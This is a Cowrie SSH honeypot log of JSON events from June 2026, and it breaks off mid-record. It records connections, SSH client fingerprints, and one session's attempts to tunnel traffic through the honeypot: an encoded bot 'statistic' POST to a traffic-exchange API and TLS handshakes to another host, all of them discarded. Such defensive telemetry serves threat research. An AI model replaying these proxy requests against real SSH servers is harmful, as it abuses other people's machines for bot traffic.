{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11292,"dst_ip":"159.203.135.109","dst_port":22,"session":"96402abe1ba4","protocol":"ssh","message":"New connection: 91.92.40.36:11292 (159.203.135.109:22) [session: 96402abe1ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:18.077225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:18.860980Z","src_ip":"91.92.40.36","session":"96402abe1ba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:18.864004Z","src_ip":"91.92.40.36","session":"96402abe1ba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":54985,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab035b8ba2ab","protocol":"ssh","message":"New connection: 23.175.50.52:54985 (10.17.0.5:22) [session: ab035b8ba2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:19.191209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:19.196640Z","src_ip":"23.175.50.52","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:19.248515Z","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:19.290366Z","src_ip":"173.208.188.210","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Mobile/19B74 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TG8lXzRfUjhzZyFYQ2kpQg%3D%3DkPIy%2F59OEqPthEzwtwJ7opc7VbSRUnVL1l9MGRqBseFRe6sEiYMM5TDx%2FnUPo0nvbZj%2BEQiqcTi4ATp7GycyK6aG4iCmft3rx2x1dOhVC1MQAYqU83zhNAgpYD8v5FLFBQ4SmlLXQhUTI0Kdzw%2FYu76hh3spSeJQZZNFdhHHX%2FFw4yuhovFzSYisgjgzFV6WJ2od0z0KWHo3mQOzo8xQLTq%2FrZ14tzotH%2BVjksZp1jCnVZXSyUegcZHAFJFMK%2FoneCJojSLTqtJ%2BL5YWRadwu5yABwm6qCKdG2Peg4IMPCxHI7zmJYTok792cUyL10HQzU8dEECJZW41Lm1nIA69TQZCQyI7HDsQ4NPzeJ8aZka1k3HH0nbJ%2BNLc%2FH0HkQciQs%2BQAIgmR6uBDOADlJ261CfAg821%2F%2FdHrePo9OLVJKqyYWELCoxkvgn6cL3k3cChdyfYAJfu5VXAI3MQ07s5e4oIekZKqf07eNq4IxK9OZbVvE2v9016RBCRfbG4bjk6D8ED2eSJgHfAh7o%2BV3VUuyt1Rr0bHkQbYYHuq%2B2%2FD2kxwD545wykEUmpzJe2atdGeCftQ801a%2FUFqm9fHwXAQ8y5khfjPfve3w%2F14TWVrBWUYehg9nXSeo%2BkSNisNQQBA%2Fsiw%2BQXgTK1Ptwr3SVKoMSQ1QnjzTavsuMt1JB45f4Z2hb8XAnuvk%2FdFae7lkEQuCnsBw4fxfpy8xrGcfRJKn9Eo7RpH3Al0D92SINOhPWYLUm1oc4CtZ%2Bg7h9c6xJUQiyIj5FvznaB7qbhcAqweIMOOIr55fCS8RQPO7dft%2BQXw%2F8N7n9nKlmFIiKQxHrQOFyPETTXIIEhrwKO41S9GPkc22mrLyFrKbME5RchXfSBSafA1XhuyQSd8Uuz4%2FO%2BjL7i%2FJhwVnmhGTBcSBJ%2BDvYoPl216sVHzdpBN0WXe3HMLfJR7arhVdsSOjABLyH6tLXKv%2BkdUpmsF3bUI9gmMQNJqYIUO%2FkCgg1%2BmZ9y5PE59PgxBcp0W4WDkJmmyMrO31kIA779%2BnFxqisLbrp5hm47vTQDg7vnFTzST4yptqhHohJlP6K4BVq0W81zfG41'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Mobile/19B74 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TG8lXzRfUjhzZyFYQ2kpQg%3D%3DkPIy%2F59OEqPthEzwtwJ7opc7VbSRUnVL1l9MGRqBseFRe6sEiYMM5TDx%2FnUPo0nvbZj%2BEQiqcTi4ATp7GycyK6aG4iCmft3rx2x1dOhVC1MQAYqU83zhNAgpYD8v5FLFBQ4SmlLXQhUTI0Kdzw%2FYu76hh3spSeJQZZNFdhHHX%2FFw4yuhovFzSYisgjgzFV6WJ2od0z0KWHo3mQOzo8xQLTq%2FrZ14tzotH%2BVjksZp1jCnVZXSyUegcZHAFJFMK%2FoneCJojSLTqtJ%2BL5YWRadwu5yABwm6qCKdG2Peg4IMPCxHI7zmJYTok792cUyL10HQzU8dEECJZW41Lm1nIA69TQZCQyI7HDsQ4NPzeJ8aZka1k3HH0nbJ%2BNLc%2FH0HkQciQs%2BQAIgmR6uBDOADlJ261CfAg821%2F%2FdHrePo9OLVJKqyYWELCoxkvgn6cL3k3cChdyfYAJfu5VXAI3MQ07s5e4oIekZKqf07eNq4IxK9OZbVvE2v9016RBCRfbG4bjk6D8ED2eSJgHfAh7o%2BV3VUuyt1Rr0bHkQbYYHuq%2B2%2FD2kxwD545wykEUmpzJe2atdGeCftQ801a%2FUFqm9fHwXAQ8y5khfjPfve3w%2F14TWVrBWUYehg9nXSeo%2BkSNisNQQBA%2Fsiw%2BQXgTK1Ptwr3SVKoMSQ1QnjzTavsuMt1JB45f4Z2hb8XAnuvk%2FdFae7lkEQuCnsBw4fxfpy8xrGcfRJKn9Eo7RpH3Al0D92SINOhPWYLUm1oc4CtZ%2Bg7h9c6xJUQiyIj5FvznaB7qbhcAqweIMOOIr55fCS8RQPO7dft%2BQXw%2F8N7n9nKlmFIiKQxHrQOFyPETTXIIEhrwKO41S9GPkc22mrLyFrKbME5RchXfSBSafA1XhuyQSd8Uuz4%2FO%2BjL7i%2FJhwVnmhGTBcSBJ%2BDvYoPl216sVHzdpBN0WXe3HMLfJR7arhVdsSOjABLyH6tLXKv%2BkdUpmsF3bUI9gmMQNJqYIUO%2FkCgg1%2BmZ9y5PE59PgxBcp0W4WDkJmmyMrO31kIA779%2BnFxqisLbrp5hm47vTQDg7vnFTzST4yptqhHohJlP6K4BVq0W81zfG41'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:19.293449Z","src_ip":"173.208.188.210","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:19.375606Z","src_ip":"23.175.50.52","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:20.546620Z","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:20.584907Z","src_ip":"173.208.188.210","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03VcR\\x8bT*\\x8e\\x96T\\r\\x8e\\xf1X\\xc2\\x11\\x16\\xf7\\xf8\\x13\\x14\\xf9\\xec\\xb1\\x10\\x9b\\x89&&\\xe3\\xbf\\xeep \\xf0\\x06\\xb7S\\xb0\\x8bF\\xe3$KT\\xc6x\\xe8\\xc4m^\\x95\\nrT\\xb2\\xbck\\xc6:d\\xab\\xe5)\\x7f\\xcc\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1f\\xf6\\r\\xea\\xc2\\xe0\\r\\xad<\\xabf\\xe6\"\\x08\\xda\\x8a\\x1bv]\\x8c\\x8a4\\xffr!\\xcc,\\xd2\\x9d\\xca\\x9ej\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03VcR\\x8bT*\\x8e\\x96T\\r\\x8e\\xf1X\\xc2\\x11\\x16\\xf7\\xf8\\x13\\x14\\xf9\\xec\\xb1\\x10\\x9b\\x89&&\\xe3\\xbf\\xeep \\xf0\\x06\\xb7S\\xb0\\x8bF\\xe3$KT\\xc6x\\xe8\\xc4m^\\x95\\nrT\\xb2\\xbck\\xc6:d\\xab\\xe5)\\x7f\\xcc\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1f\\xf6\\r\\xea\\xc2\\xe0\\r\\xad<\\xabf\\xe6\"\\x08\\xda\\x8a\\x1bv]\\x8c\\x8a4\\xffr!\\xcc,\\xd2\\x9d\\xca\\x9ej\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:20.591393Z","src_ip":"173.208.188.210","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:20.653179Z","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:20.714778Z","src_ip":"173.208.188.210","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xef\\x04u\\xd3L\\xa58\\x11\\xb9\\xf7\\x8bh$1@\\x9c\\xf62\\xa3\\xe2\\x8a\\xe4\\xddN\\xc2F\\xcb\\xdc\\x97\\x15A\\xa9 \\x16\\xe7\\xb0]\\x1d\\t(=\\xca \\x15c\\xec2\\x9b\\x1cn\\tO \\xc6>!H\\x0e\\xb1\\xc5\\x03uB+\\x80\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb41\\x8e\\xe0\\xd4\\xddT\\xf7\\xac?\\xb9=@\\x0e\\xd0;\\xa2\\xc9\\xffC\\xeev\\xb8\\xf5O\\x07\\xdbB\\xee! \\\\\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xef\\x04u\\xd3L\\xa58\\x11\\xb9\\xf7\\x8bh$1@\\x9c\\xf62\\xa3\\xe2\\x8a\\xe4\\xddN\\xc2F\\xcb\\xdc\\x97\\x15A\\xa9 \\x16\\xe7\\xb0]\\x1d\\t(=\\xca \\x15c\\xec2\\x9b\\x1cn\\tO \\xc6>!H\\x0e\\xb1\\xc5\\x03uB+\\x80\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb41\\x8e\\xe0\\xd4\\xddT\\xf7\\xac?\\xb9=@\\x0e\\xd0;\\xa2\\xc9\\xffC\\xeev\\xb8\\xf5O\\x07\\xdbB\\xee! \\\\\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00